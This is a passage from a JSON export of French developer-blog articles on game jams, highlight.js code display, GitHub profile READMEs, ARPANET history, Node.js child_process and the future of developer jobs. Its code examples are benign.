dehors du développement web](https://code-garage.fr/une-methode-amusante-pour-elargir-ses-connaissances-en-dehors-du-developpement-web/)\".\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/TFx66SKTs8w?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\n### Js13kGames\n\nSite internet : [http://js13kgames.com/](http://js13kgames.com/)\n\nPour finir, voici **un concept de jam spécialement prévu pour les développeurs web** qui adorent les contraintes : la jam se déroule cette fois sur un mois complet, avec pour but de **développer un jeu en HTML5 et Javascript mais en respectant cette fois-ci une taille maximale pour les fichiers du jeu de... 13 kilo-octets**.\n\nPour avoir participé à un challenge similaire il y a quelques années, je peux vous assurer que **c'est à la fois possible, complexe, mais aussi extrèmement satisfaisant** lorsque l'on arrive à produire quelque chose avec des contraintes aussi minimalistes !\n\nDans un monde où les ressources de calcul et de stockage deviennent de plus en plus démesurées, il est parfois bon de **ré-apprendre à penser le web de manière plus frugale** !\n\n","Prenez une poignée de personnes, rajoutez une bonne quantité de code et une touche de design le tout à feu doux pendant 2 jours, vous obtiendrez une \"confiture de jeu-vidéo\" parfaite !","devenir-un-meilleur-developpeur-en-participant-a-des-game-jams","2020-07-10T05:16:01.000Z","2023-09-19T15:05:35.795Z","2020-07-14T08:35:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/annie-spratt-QckxruozjRg-unsplash.jpg","Annie Spratt sur Unsplash","https://unsplash.com/@anniespratt?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":397,"title":398,"content":399,"socialTitle":8,"description":400,"socialDescription":8,"slug":401,"createdAt":402,"updatedAt":403,"publishedAt":404,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":405,"coverCopyright":8,"coverCopyrightLink":8},57,"Comment afficher du code sur un site web avec highlight.js et la balise \u003Cpre>","La semaine dernière j'ai lancé [**Technical Ninja**, une application web pour que les développeurs puissent s'entrainer](technical-ninja.cleverapps.io/) à répondre aux **questions techniques lors de leurs entretiens**.\n\nVous avez été des centaines à tester l'appli et à me demander d'ajouter de nouveaux quiz, de nouvelles fonctionnalités et **je vous en remercie** !\n\nL'une des fonctionnalités que j'ai ajouté dernièrement est la possibilité d'**afficher des morceaux de code dans les questions**, afin de rédiger des énoncés plus complexes.\n\n**Mes trois critères étaient d'afficher du code dans un thème sombre, indenté et avec la coloration syntaxique correspondante**.\n\nAujourd'hui je vais vous expliquer comme j'ai réussi à produire ce résultat grâce à la librairie **[highlight.js](https://highlightjs.org/) et un petit peu de code html et css** !\n\n## La coloration syntaxique avec Highlight.js\n\nLe principe de cette librairie est de prendre une chaine de caractère, et de la passer dans **un analyseur syntaxique afin de séparer les morceaux de code** dans le but de les colorer différemment.\n\nLa force de [highlight.js](https://highlightjs.org) réside dans deux points :\n\n* **Un très grand nombre de langages pris en compte** (et même extensible grâce à des modules)\n* **De nombreux thèmes de couleurs différents** allant du clair au sombre\n\n### Le fonctionnement\n\nVous pouvez consulter la documentation de la librairie accessible à l'adresse : [https://highlightjs.org/usage/](https://highlightjs.org/usage/) mais je vais rapidement vous montrer **la méthode que j'ai utilisé !**\n\nOn commence par installer la librairie\n\nnpm i highlight.js --save\n\nOn prépare ensuite son template html (la classe hljs permet d'activer le style par défaut d'highlight.js)\n\n```\n\u003Cdiv id=\"code\" class=\"hljs\">\n \u003C!-- Colored code goes here -->\n\u003C/div>\n```\n\nPuis on importe la librairie, ainsi que la feuille de style du thème que l'on préfère, on execute la fonction highlight et on insère le résultat dans notre template.\n\nimport hljs from 'highlight.js';\nimport 'highlight.js/styles/github.css';\n\nconst colored\\_code = hljs.highlight('js', '\\[CODE GOES HERE\\]').value;\ndocument.querySelector(\"#code\").innerHTML = colored\\_code;\n\nEt voilà !\n\n### Le résultat coloré\n\nVoici le code de test reçu en entrée :\n\nfunction exemple() {\n if(console) {\n console.log(\"Je suis un bout de code\");\n } return 1;\n}\n\nEt le résultat après être passé dans highlight.js :\n\nfunction exemple() {if(console) {console.log(\"Je suis un bout de code\");} return 1;}\n\nVous aurez remarqué un problème, **on a passé du code correctement indenté, et il est ressorti en une seule ligne**, cela vient du fait que le code a été injecté dans une balise \u003Cdiv>, qui **ne garde pas le formatage du texte**.\n\nVoyons comment régler ça dans la partie suivante !\n\n## L'indentation avec la balise \u003Cpre>\n\n**C'est LA balise la plus pratique pour afficher du code en html car elle conserve l'indentation de ce dernier**, ou plus précisément elle conserve le \"préformatage\" du texte, ce qui veut dire qu'elle garde les espaces, les tabulations, les retours à la ligne et qu'elle affiche le texte dans une police à largeur fixe.\n\nVoici un exemple d'un morceau de code affiché grâce à une balise \u003Cpre>\u003C/pre> :\n\nfunction exemple(){\n \tif(console){\n \t\tconsole.log(\"Je suis un bout de code\");\n \t}\n \treturn 1;\n}\n\nProblème, **l'indentation parait gigantesque** et rend le code beaucoup moins lisible. Il suffit d'ajuster la taille des tabulations avec [la propriété 'tab-size' en css](https://www.w3schools.com/cssref/css3_pr_tab-size.asp), **par défaut la valeur est à 8, considérez une taille de 2** pour un code assez serré et de 4 pour une version plus aérée !\n\n> Cette valeur correspond à largeur d'un caractère d'espacement.\n\n\u003C!-- tab-size: 2; -->\nfunction exemple(){\n if(console){\n console.log(\"Je suis un bout de code\");\n }\n return 1;\n}\n\n### La touche finale\n\nEnsuite, il ne vous reste plus qu'à ajouter un peu de CSS supplémentaire afin de **styliser le bloc de code comme vous le souhaitez**.\n\n> Par exemple, ici j'ai fait en sorte d'avoir un thème sombre, avec des bords arrondis et une impression que le bloc est \"creusé dans la page\" en utilisant les quelques lignes CSS ci-dessous :\n\npre {\n moz-tab-size:2; \n tab-size: 2;\n color: white; \n background: #263238;\n border-radius: 10px;\n box-shadow: inset 0px 0px 5px 3px rgba(0,0,0,0.7);\n padding: 20px;\n font-weight: bold;\n}\n\n### Et voilà le résultat final !\n\nfunction exemple(){\n if(console){\n console.log(\"Je suis un bout de code\");\n }\n return 1;\n}\n\nOn a bien notre bloc de code reconnaissable, avec le thème sombre et la coloration syntaxique voulu, c'est parfait ! Le code peut être sélectionné, copié et collé à volonté.\n\nC'est quand même mieux qu'une image non ?\n\n> ","Il n'y a rien que je déteste plus que les tutoriels où le code est en fait une image !","comment-afficher-du-code-sur-un-site-web-avec-highlight-js-et-la-balise-pre","2020-07-16T06:30:29.000Z","2023-09-19T15:05:35.853Z","2020-07-16T11:57:05.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/Sans-titre-1.jpg",{"id":407,"title":408,"content":409,"socialTitle":8,"description":410,"socialDescription":8,"slug":411,"createdAt":412,"updatedAt":413,"publishedAt":414,"styleHead":8,"scriptFooter":415,"seoTitle":8,"seoDescription":8,"legacyCover":416,"coverCopyright":417,"coverCopyrightLink":418},58,"Comment personnaliser son profil Github avec un fichier Readme","Github a rendu possible **la personnalisation de sa page profil grâce à un simple fichier README** comme sur tous nos dépôts actuellement hébergés.\n\n**Mais alors comment faire pour activer cette fonctionnalité ?** Nous allons voir ensemble qu'il ne suffit que de quelques clics, c'est pourquoi je vous ai aussi ajouté la démarche pour **ajouter une photo de couverture à votre profil** grâce à quelques étapes supplémentaires.\n\n## 1 - Créez le README\n\n**Le README de votre profil n'a rien de particulier**, hormis le nom du dépôt dans lequel il se trouve, car pour activer la personnalisation du profil, il suffit de **nommer un dépot du même nom que votre username Github** !\n\nEn faisant celà, vous devriez voir apparaitre un message vous signifiant que vous avez découvert **une fonctionnalité secrète de Github** comme ci-dessous !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Capture-2.JPG)\n\n> **Pensez à initialiser votre dépôt avec un fichier README**, celà vous évitera d'avoir à cloner le dépôt et vous pourrez modifier le fichier directement depuis l'interface Github !\n\nIl vous suffit de cliquer sur **le petit bouton en forme de crayon** en haut à droite de votre README, comme sur la copie d'écran ci-dessous.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Capture-3.JPG)\n\nMagnifique, vous voilà en train d'éditer votre page de profil, **il n'y a plus qu'à faire marcher votre créativité !** Mais si vous voulez ajouter une ou plusieurs images, je vous conseille de lire la suite du tutoriel.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Capture-4.JPG)\n\n## 2 - Ajoutez une photo de couverture à votre profil\n\nPour ajouter une image à votre README, vous devez d'abord **la sauvegarder dans votre dépôt**, pour cela, il vous suffit de cliquer sur le bouton **\"Add file\" puis \"Upload files\"** disponible dans n'importe quel dossier du dépôt.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/Capture-5.JPG)\n\n> Astuce : je vous conseille de **ne pas ajouter les images à la racine de votre dépôt, mais dans un dossier \"/img/\"**, pour cela il vous suffit de ne pas glisser-déposer votre image tout de suite, mais de la mettre dans un dossier appelé img et de glisser le dossier tout entier !\n\nEnsuite il ne vous reste plus qu'à retourner sur l'édition de votre README pour ajouter votre image en ajoutant **cette ligne de Markdown dans votre fichier** :\n\n!\\[Cover\\](https://github.com/NicolasBrondin/NicolasBrondin/blob/master/img/cover.jpg)\n\n> Attention pensez bien à ajouter **le lien ABSOLU vers votre image**, car sinon votre image apparaitra correctement dans votre dépôt, mais le lien sera cassé sur votre page d'accueil !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2021/10/image.png)\n\nEt voilà, **vous venez de personnaliser votre profil Github** avec une image de couverture, et vous pouvez même réutiliser cette méthode pour ajouter autant d'images que vous le souhaitez !\n\n**Personnellement j'ai opté pour l'ajout de badges et de widgets**, que vous pourrez copier-coller depuis n'importe quel autre ReadMe !\n\n## 3 - Quelques exemples de profils Github\n\nSi vous cherchez de l'inspiration, je vous invite à consulter le dépôt Github ci-dessous **qui regroupe des dizaines et des dizaines de profils avec des designs, des badges, et des widgets très différents :**\n\n::: bookmark\n[![](https://repository-images.githubusercontent.com/279064706/5add8880-86e6-11eb-948e-55d83df0c57e)GitHub - abhisheknaiidu/awesome-github-profile-readme: A curated list of awesome GitHub Profile READMEs ](https://github.com/abhisheknaiidu/awesome-github-profile-readme)\n:::\n\n","Vous souhaitez ajouter un peu de couleurs à votre profil Github ? Et bien maintenant c'est possible en quelques clics seulement !","comment-personnaliser-son-profil-github-avec-un-fichier-readme","2020-07-17T05:56:36.000Z","2023-09-22T13:38:05.400Z","2021-10-21T06:27:00.000Z","\u003Cstyle>\n .kg-image {\n border-radius: 5px;\n box-shadow: 0px 0px 10px 5px rgba(0,0,0,0.1);\n }\n\u003C/style>","https://cellar-c2.services.clever-cloud.com/content/2021/10/dylan-taylor-5tYVBC-hgNc-unsplash.jpg","Dylan Taylor sur Unsplash","https://unsplash.com/@dyltayl?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":420,"title":421,"content":422,"socialTitle":8,"description":423,"socialDescription":8,"slug":424,"createdAt":425,"updatedAt":426,"publishedAt":427,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":428,"coverCopyright":8,"coverCopyrightLink":8},59,"Quelles sont les origines d'Internet ?","> Avant de commencer à parler de ce sujet, je tiens à rappeler que les concepts d'Internet et du Web sont complètement différents !\n\n**Internet est un réseau complexe, une infrastructure mondiale** dont le web n’est qu’une partie du contenu.\n\nAujourd'hui sur Internet on ne partage pas seulement des documents web mais aussi des fichiers, des e-mails, de la voix et des données de jeux ou d'applications financières en temps-réel par exemple.\n\nComme la plupart des grandes inventions de notre monde, **nous ne pouvons pas créditer l'invention d'Internet à une seule personne, mais plutôt à une succession de recherches** menées par de nombreux ingénieurs et s'appuyant sur les travaux de leurs prédécesseurs.\n\n## La peur d'une attaque nucléaire\n\nDans les années 60, les États-Unis sont en pleine guerre froide contre l'URSS, la course à l'espace fait rage et cette dernière a déjà pris une avance considérable dans les télécommunication **en envoyant le premier satellite artificiel en orbite dénommé \"Spoutnik 1\"**.\n\nLa recherche scientifique est vue à l'époque comme une fierté, mais surtout comme **un moyen de domination et de survie contre \"l'ennemi\"**, notamment avec l'arrivée des ordinateurs de deuxième génération, conçus grâce à **l'invention du transistor**.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/07/841d3a6fd03479259d9e6f7cfb44b8c6.jpg)\n\nL'informatique permet alors d'effectuer des calculs de plus en plus complexes et **les données récoltées sont à la fois précieuses mais volumineuses**, deux problèmes se posent alors...\n\n**Le partage de données ou de programmes entre plusieurs centres de recherche (souvent universitaires) est compliqué**, il doit alors se faire par l'envoi de supports de stockage ou de documents par voie postale, ce qui **ralenti considérablement la recherche scientifique**.\n\nD'autre part, **la menace d'une attaque nucléaire plane sur les États-Unis** et le besoin de trouver une solution facilitant la dissémination des informations et documents à travers le pays devient critique.\n\n## Arpanet\n\nC'est alors que l'ARPA, **l'agence de recherche gouvernementale Américaine commence les recherches autour de la création d'un réseau** pouvant résoudre les problèmes cités précédemment, financé par Ministère de la Défense.\n\nEn collaboration avec le MIT, ARPANET verra alors **le jour comme étant le premier réseau étendu (WAN) et le 29 Octobre 1969** le premier test d'envoi de message entre deux machines situées à l'université de Los Angeles (UCLA) et l'institut de recherche de Stanford sera effectué.\n\nCe soir-là, **le simple mot \"login\" aura alors réussi à parcourir la distance de plus de 600km en quelques minutes**, ou presque, car les trois dernières lettres du mot **mettront plus d'une heure à arriver suite à un bug du serveur central**, faisant de \"lo\" le premier message transmis sur l’ancêtre d'internet.\n\n> Fait amusant : le terme \"lo\" en vieux jargon anglophone correspond à une exclamation de surprise, une abbréviation du mot \"look !\", représentant parfaitement la surprise des ingénieur à cet instant précis.\n\nPar la suite, l'ARPANET sera capable de supporter des fonctionnalités comme la connexion à distance, le transfert de fichiers et l'envoi d'e-mails, **mais c'est aussi et surtout le premier réseau à commutation de paquets**.\n\n## Qu'est-ce que la commutation de paquets ?\n\nAussi appelé \"**packet-switching**\", c'est **une méthode de décomposition d'une donnée complexe en plusieurs \"paquets\" de données,** chacun contenant une en-tête et une charge (on parlera de payload).\n\n**L'en-tête va permettre au paquet d'être dirigé sur le réseau** jusqu'à son destinataire et que les différents \"payload\" soient reconstitués à l'arrivée pour retrouver la donnée complexe d'origine et qu'**elle puisse être traitée par la couche applicative**.\n\nDeux des avantages de cette méthode sont la gestion des erreurs de transmission et le caractère non-bloquant des données volumineuses :\n\n* Lorsqu'un paquet n'arrive pas à destination pour une quelconque raison, **seul ce paquet pourra être renvoyé par l'expéditeur**, et non toute la donnée d'origine, **économisant alors la bande passante**.\n* Si deux fichiers doivent être envoyés, l'un de 2Go et l'autre de 100Ko, **le deuxième fichier n'aura pas besoin d'attendre que le premier soit fini d'envoyé**, il s'intercalera entre les paquets du premier !\n\n**L'implémentation technique majeure utilisée pour les réseaux inter-connectés s'appelle TCP/IP** et c'est notamment son arrivée qui va permettre la création du réseau Internet, dont l'expansion sera facilité grâce à la standardisation de TCP/IP.\n\n> Si vous voulez découvrir comment fonctionne TCP/IP, [je vous invite à lire mon article dédié](https://code-garage.fr/blog/tcp-ip-comment-ca-fonctionne/) !\n\n## Internet\n\nUne fois standardisé en 1982, le protocole TCP/IP permis à de nombreux réseaux de s'interconnecter, **dont NSFNet (National Science Fondation Network) qui donna à des chercheurs partout à travers le monde** la possibilité de se connecter à l'un des super-calculateurs aux Etats-Unis.\n\n**L'expension académique d'Internet continua jusqu'en 1989**, date à laquelle arrivèrent les premiers Fournisseurs d'Accès à Internet (FAI) publics aux USA et en Australie.\n\n**En 1990, les financements pour ARPANET furent stoppés**, et laissa la place à Internet qui continua son chemin jusqu'à devenir ce que nous connaissons aujourd'hui.\n\n","On en parle tous les jours, pour certains c'est même notre métier, mais savez-vous vraiment d'où il vient ?","quelles-sont-les-origines-d-internet-arpanet","2020-07-20T06:36:12.000Z","2023-09-22T08:26:17.872Z","2021-07-05T05:58:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/07/1968_NCO_Computer_Operator.jpg",{"id":430,"title":431,"content":432,"socialTitle":8,"description":433,"socialDescription":8,"slug":434,"createdAt":435,"updatedAt":436,"publishedAt":437,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":439,"coverCopyright":440,"coverCopyrightLink":441},60,"Comment exécuter une commande système ou un programme externe en NodeJS ?","Il arrive parfois que les APIs fournies par NodeJS pour dialoguer avec le système ne suffisent pas à nos besoin, imaginons par exemple que vous ayez besoin que **votre programme éteigne la machine après s'être exécuté**.\n\nMieux encore, et si vous aviez besoin de **lancer un programme externe et de contrôler son exécution depuis NodeJS** ! Comment faire ?\n\nLa réponse à ce problème est simple : **nous allons utiliser le module child\\_process**.\n\n## Les processus enfants\n\nComme vous le savez sûrement, **le système d'exploitation gère de nombreux processus simultanément**, dont certains sont dépendants du processus qui les a créé : on appelle ça des \"processus enfants\" ou \"child process\".\n\nPar exemple pour chaque nouvel onglet, Chrome lance un processus enfant. On peut fermer ces processus indépendamment, mais **si l'on ferme le processus parent tous les autres sont aussi détruits** !\n\n> Cette mécanique évite de laisser des processus fantômes qui consommeraient des ressources inutilement.\n\n## Lancer un nouveau processus\n\nLancer un nouveau processus est très simple en NodeJS, il suffit de **deux lignes de code** :\n\n```\n\nconst child_process = require('child_process');\nlet ls_process = child_process.exec(\"ls -a\");\n```\n\n### exec() vs spawn()\n\nIl existe deux méthodes différentes pour créer un nouveau processus, chacune ayant ses particularités, voici **le même bout de code que précédemment avec la méthode spawn**.\n\n```\n\nconst child_process = require('child_process');\nlet ls_process = child_process.spawn(\"ls\",[\"-a\"]);\n```\n\nLes différences sont :\n\n* exec() **créé un shell** dans lequel il va passer la commande à exécuter\n* spawn() **streame en continu les données retournées par le processus**, tandis qu'exec() les retourne à la fin de l'exécution\n* exec() est limité à **un transfert de données de 200kb** par défaut\n\nEn définitive, si vous voulez exécuter **une simple commande, utilisez plutôt exec()** tandis que pour **lancer un programme externe avec lequel vous allez communiquer, on va privilégier spawn()**, comme dans la suite de ce tutoriel !\n\n## Contrôler un processus\n\nCe n'est pas le tout de lancer un processus, encore faut-il pouvoir **lui envoyer des informations et recevoir celles qu'il nous envoie**, que ce soit lors d'une exécution réussie ou en cas d'erreur.\n\n### stdin, stdout, stderr\n\nSi vous n'en avez jamais entendu parlé, voici **les trois flux de données standard (std) d'un programme**: l'entrée (in), la sortie (out), et les erreurs (err).\n\nLorsqu'un programme vous demande de rentrer des informations au clavier après son lancement, vous envoyez des informations dans **l'entrée standard**, et lorsqu'il affiche du texte dans le terminal, **il redirige simplement sa sortie standard vers le terminal** (même chose pour les erreurs).\n\n### Ecouter les flux de données\n\nLes flux de données sont gérés par **des évènements auxquels il faut souscrire** comme dans l'exemple ci-dessous :\n\n```\n\n\nls_process.stdout.on('data', (data) => {\n console.log(`stdout: ${data}`);\n});\n\nls_process.stderr.on('data', (data) => {\n console.error(`stderr: ${data}`);\n});\n```\n\n_Il faut garder en tête que le format des données renvoyées est spécifique au programme externe invoqué et parfois à la commande du programme en question._\n\n### Ecrire dans l'entrée standard\n\nAu lieu d'invoquer un programme qui va s'exécuter grâce aux paramètre passés à l'initialisation et se fermer ensuite, **il est parfois judicieux d'utiliser des programmes qui vont tourner en tâche de fond et prendre des commandes à la volée**.\n\nCette méthode est notamment utile pour des programmes prenant un certain temps à démarrer, voici un exemple d'envoi de données à un programme en cours d'exécution :\n\n```\n\n\nls_process.stdin.setEncoding('utf-8');\nls_process.stdin.write(\"play\");\n//il est parfois nécessaire d'ajouter un \\n à la fin de la commande pour valider l'envoi\nls_process.stdin.end();\n\n```\n\nPour le reste, je vous laisse vous familiariser avec toutes **les nombreuses fonctionnalités du module child\\_process directement sur la documentation officielle** disponible ici : [https://nodejs.org/api/child\\_process.html](https://nodejs.org/api/child_process.html)\n\n### A noter\n\nLorsque vous voyez passer des librairies de gestion de vidéo, d'image ou de son en NodeJS (comme [**node-ffmpeg**](https://github.com/damianociarla/node-ffmpeg) par exemple), vous devez être conscient que **ces librairies ne sont pas codées en Javascript** (la plupart du temps), mais ces librairies sont seulement **des wrappers qui exécutent un programme externe** écrit dans un langage plus bas niveau.\n\n> Maintenant vous aussi vous pouvez donc écrire vos propres wrappers !\n\n**Attention : Lorsque vous faites appel à des commandes systèmes, votre programme devient dépendant de ce système** en particulier et risque de ne pas s'exécuter sur un autre OS (à moins de prévoir tous les cas possibles), il faut donc le faire en connaissance de l'environnement d'exécution !\n\n","Si en voyant la librairie \"node-ffmpeg\" vous pensiez que ffmpeg avait été réécrite en JS, alors lisez cet article jusqu'à la fin !","comment-executer-une-commande-systeme-ou-un-programme-externe-en-nodejs-spawn-exec-child-process","2020-07-21T06:38:37.000Z","2023-09-19T15:05:35.938Z","2020-07-21T11:50:57.000Z","\u003Clink rel=\"stylesheet\"\n href=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/styles/atom-one-dark.min.css\">\n\u003Cscript src=\"//cdnjs.cloudflare.com/ajax/libs/highlight.js/10.0.0/highlight.min.js\">\u003C/script>\n\u003Cscript>hljs.initHighlightingOnLoad();\u003C/script>\n\u003Cstyle>.post-full-content code {font-weight: bold !important;}\u003C/style>","https://cellar-c2.services.clever-cloud.com/content/2022/09/brett-jordan-MFLNpz5FZRk-unsplash-1.jpg","Brett Jordan sur Unsplash","https://unsplash.com/@brett_jordan?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":443,"title":444,"content":445,"socialTitle":8,"description":446,"socialDescription":8,"slug":447,"createdAt":448,"updatedAt":449,"publishedAt":450,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":451,"coverCopyright":452,"coverCopyrightLink":453},62,"Le métier de développeur existera-t'il encore dans 20 ans ?","Cet article a pour vocation de **prendre un peu de recul sur les dernières évolutions en termes d'outils** et d'essayer de comprendre l'évolution de notre métier à long terme.\n\nPour vous expliquer le contexte, j'ai ressenti le besoin d'écrire sur ce sujet en voyant passer **le tweet ci-dessous** après qu'il ait fait le tour de la communauté des développeurs web sur Twitter et **qu'il en ait effrayé plus d'un**...\n\n> This is mind blowing. \n> \n> With GPT-3, I built a layout generator where you just describe any layout you want, and it generates the JSX code for you. \n> \n> W H A T [pic.twitter.com/w8JkrZO4lk](https://t.co/w8JkrZO4lk)\n> \n> — Sharif Shameem (@sharifshameem) [July 13, 2020](https://twitter.com/sharifshameem/status/1282676454690451457?ref_src=twsrc%5Etfw)\n\nDans cette vidéo, on voit **une intelligence artificielle** basée sur le langage de modélisation GPT-3 (Generative Pre-Training) **produire du code JSX à partir d'une phrase écrite** par un être humain. Impressionnant non ?\n\nAlors, avec la puissance de l'intelligence artificielle et l'explosion des outils no-code (et low-code), **est-ce que le métier de développeur risque de disparaitre demain** ?\n\n## Un point sur l'intelligence artificielle\n\nOn parle beaucoup de l'intelligence artificielle et de l'impact de son évolution sur le marché du travail, prédisant jusqu'à **l'automatisation de [47% des emplois aux U.S d'ici la moitié des années 203](https://www.forbes.com/sites/gilpress/2019/07/15/is-ai-going-to-be-a-jobs-killer-new-reports-about-the-future-of-work/)0**.\n\n> Mais qu'en est-il pour les développeurs ?\n\n**Les travaux sur l'automatisation des tâches répétitives afin d'accélérer le développement web et logiciel ne date pas d'aujourd'hui**. En creusant un peu, on retrouve des articles scientifiques traitant par exemple de [génération de programmes en COBOL basé sur l'IA **depuis les années 1976**](https://link.springer.com/article/10.1007/BF01069886).\n\nEn 2018, Microsoft a même mis à la disposition du public un outil appelé \"Sketch2Code\" permettant de [**transformer un croquis de basse qualité en une page HTML**](https://sketch2code.azurewebsites.net) contenant tous les éléments dessinés.\n\n::: bookmark\n[![](http://sketch2code.azurewebsites.net/content/img/img_spareMobile.svg)Transform sketches into HTML using AI](https://sketch2code.azurewebsites.net)\n:::\n\nComme on peut le constater, en terme de génération de code, **l'intelligence artificielle en est encore à ESSAYER de nous faire gagner du temps** sur les tâches répétitives comme la génération de structures (graphiques ou logiques), ce que d'autres outils ont déjà réussi à faire depuis bien longtemps.\n\n> Rappelez-vous qu'il n'y a pas si longtemps que ça, nous étions encore obligés d'aller chercher, télécharger, inclure et mettre à jour nos scripts JS à la main...\n\nA l'heure qu'il est, **les outils développés par des développeurs, pour des développeurs nous ont permis d'être bien plus efficaces** que les outils basés sur l'intelligence artificielle.\n\n## L'avenir du no-code\n\nAirtable, Glide, Wix, Typeform, Shopify, Stripe font tous partie de ces outils qui dominent le marché du \"**no-code**\", autrement dit qui **permettent de développer des sites et des applications mobiles sans jamais toucher une ligne de code**.\n\nJe n'ai pas pu trouver d'étude sur le marché de ces outils, mais pour ce qui est du \"low-code\", **le marché global équivaudrait en 2020 à 13.2 milliards de dollars** et [devrait atteindre les 45.5M$ d'ici 2025](https://www.marketsandmarkets.com/Market-Reports/low-code-development-platforms-market-103455110.html), une somme non-négligeable mais qui reste **une goutte d'eau dans l'océan des 456 milliards de dollars** si l'on compte uniquement le développement logiciel (desktop et mobile en 2018).\n\nL'arrivée de ces outils sont à mon sens une bonne nouvelle pour l'industrie, cela permet à plus de monde de devenir acteur de la technologie même sans avoir toutes les connaissances techniques et de **créer de l'émulation autour de l'innovation d'usage**.\n\nPour la plupart des utilisateurs, particuliers comme entreprises, **leurs contraintes budgétaires ne leur permet de toutes façons pas de s'offrir les services d'un développeur professionnel**, n'impactant donc que modérément le marché du développement.\n\n## Conclusion\n\nJe ne pense pas que le métier de développeur disparaitra d'ici 20 ans, mais **il ne ressemblera sûrement pas non plus à ce qu'on connait aujourd'hui**, et en même temps cette évolution a commencé il y a 20 ans déjà.\n\nDans les années 2000, **il était encore possible de trouver un job en tant qu'intégrateur web** lorsque l'on connaissait HTML et CSS, aujourd'hui à moins d'être une pointure dans les animations et l'intégration pixel-perfect, le métier d'intégrateur n'existe presque plus, **nous sommes devenus des développeurs front-end**.\n\nEt encore, le type de profil le plus recherché aujourd'hui reste **le développeur fullstack** ([si tenté qu'ils existent réellement](https://welovedevs.com/fr/articles/le-mythe-du-developpeur-full-stack/)) **demandant donc des compétences encore plus poussées**, avec des outils et des frameworks toujours plus complexes.\n\nJe pense que dans un avenir plus ou moins lointain, deux grands profils se dégageront :\n\n* **Les expert(e)s des outils no/low-code qui auront une petite connaissance technique** mais sauront surtout manier les outils à la perfection, allié à une forte créativité en terme d'expérience utilisateur et design graphique.\n* **Les ingénieur(e)s spécialisés dans des domaines très précis et pointus** comme l'embarqué, la robotique, le jeu vidéo, le traitement de données, l'intelligence artificielle, etc...\n\nCertes cette séparation existe déjà plus ou moins, mais je pense que nous la verrons atteindre un point que nous n'imaginons pas encore aujourd'hui.\n\n","Entre l'évolution de l'intelligence artificielle et l'arrivée des outils \"no-code\", quel sera le sort du métier de développeur ?","le-metier-de-developpeur-existera-t-il-encore-dans-20-ans-ai-gpt-3-no-code","2020-07-23T06:18:14.000Z","2023-09-19T15:05:35.998Z","2020-07-23T12:05:31.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/07/florian-schmetz-2ARQfzpg--E-unsplash.jpg","Florian Schmetz sur Unsplash","https://unsplash.com/@floschmaezz?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":455,"title":456,"content":457,"socialTitle":8,"description":458,"socialDescription":8,"slug":459,"createdAt":460,"updatedAt":461,"publishedAt":462,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":463,"coverCopyright":464,"coverCopyrightLink":465},64,"Les 10 qualités que partagent les bon(ne)s développeur(se)s","Chez Code-Garage, on reçoit de plus en plus cette question par message privé ou dans les commentaires :\n\n**“Comment je sais que je suis fait pour être développeur, quelles sont les qualités requises ?”**\n\nSi vous aussi vous vous êtes déjà posé la question, je vais essayer de vous répondre aujourd'hui ! Attention cette liste est uniquement tirée de mon expérience, des gens que j'ai rencontrés, des développeur(se)s que j'admire et ceux avec qui j'ai pu travailler, elle ne constitue en aucun cas une vérité générale.\n\n> Spoiler : Arriver à vite apprendre le code n'est pas dans la liste car ce n'est pas le plus important !\n\n## 1 - Passionné(e)\n\nSi vous n'avez que cette qualité sur les neuf autres que je vais lister juste après, **vous avez déjà 80% du travail de fait**.\n\nLes meilleurs programmeurs ne sont pas forcément ceux qui comprennent le plus vite, mais **ceux qui sont passionnés**, qui passent la plus grosse partie de leur journée (et parfois de leurs soirées) à coder de nouveaux projets, **à expérimenter,** à apprendre et à s'entrainer !\n\n## 2 - Curieux(se)\n\nLorsque l'on apprend une techno, que l'on arrive petit à petit à la maitriser, **il est facile de rester dans sa zone de confort**.\n\nC'est très satisfaisant d'arriver à créer des applications de plus en plus rapidement au fil du temps, mais avoir **le goût de l'aventure pour toujours aller voir plus loin**, essayer de nouveau outils et essayer de comprendre comment fonctionne tout ce qui nous entoure, **c'est la clé vers un nombre d'opportunités infinies** !\n\n## 3 - Organisé(e)\n\n**Savoir ordonner des tâches**, les mettre en perspective au sein d'un projet, et suivre leur avancement, **même lorsque l'on travaille seul vous sera d'une grande utilité**, et vous évitera surtout de nombreuses erreurs.\n\nÊtre organisé, c'est aussi savoir organiser son code, ses fichiers et toutes les composantes internes au projet, en clair, **c'est un gain de temps, et le temps, c'est de l'argent** !\n\n## 4 - Minutieux(se)\n\nAller jusqu'au bout d'une tâche, en prenant le temps d'en tester chaque recoin, en écrivant des tests automatisés par exemple, **c'est la seule manière que vous aurez de dormir sur vos deux oreilles tout en travaillant sur des projets de grande envergure** !\n\n## 5 - Persévérant(e)\n\nNe pas s'arrêter au premier bug. **Lire et relire de la doc**, des tutoriels, mais surtout relire son code pour arriver à trouver la faille est indispensable.\n\n**Il ne faut jamais abandonner**, mais sans oublier de s'aérer régulièrement l'esprit quand même !\n\n## 6 - Méthodique\n\n**Lorsque l'on est méthodique, on n'a pas à être persévérant.**\n\nQuelque chose ne marche pas ? Alors je vais **prendre le temps de 